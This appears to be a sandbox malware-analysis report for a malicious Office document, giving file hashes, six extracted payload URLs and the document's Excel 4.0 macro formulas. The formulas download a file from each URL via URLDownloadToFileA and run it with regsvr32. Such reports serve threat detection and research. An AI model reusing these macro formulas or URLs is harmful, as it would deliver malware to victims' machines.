Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
490f59b6811ec8987f87b244200f6c5b377babdcf597181bbd71fa5d61301152
-
Size
46KB
-
MD5
49a8bfaf36adce55366c3063f9682182
-
SHA1
1bd16833b90c27c08d0c2e2bf4584b6cb87a21ab
-
SHA256
490f59b6811ec8987f87b244200f6c5b377babdcf597181bbd71fa5d61301152
-
SHA512
b9a361117bf5cb9c06a9b2aa612964b19da05c7d3af6f87e0c51c749a06fa1fafdfeb02dee6e571c79074b76b6eb38a630003d416caa2e5f3c6bea56b9228904
-
SSDEEP
768:hGovDOevZCwrvtBtfzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2fUPZa:wovDztT5fTR4Lh1NisFYBc3cr+UqVU5c
Malware Config
Extracted
http://touqarrayan.com/wp-content/RoiB/
http://nayzaqaljanoob-iq.com/sapbush/tylhe1/
http://cabinet-bribech.com/wp/DyMNglRY5B4abPy1hH/
http://retailhpsinterview.com/cgi-bin/dJp9RYh/
https://lisalmcgee.com/images/xpl7i1ETzHPwaFd89HS/
https://collision-staging.com/wp-content/94PQ1/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://touqarrayan.com/wp-content/RoiB/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nayzaqaljanoob-iq.com/sapbush/tylhe1/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://cabinet-bribech.com/wp/DyMNglRY5B4abPy1hH/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://retailhpsinterview.com/cgi-bin/dJp9RYh/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lisalmcgee.com/images/xpl7i1ETzHPwaFd89HS/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://collision-staging.com/wp-content/94PQ1/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
490f59b6811ec8987f87b244200f6c5b377babdcf597181bbd71fa5d61301152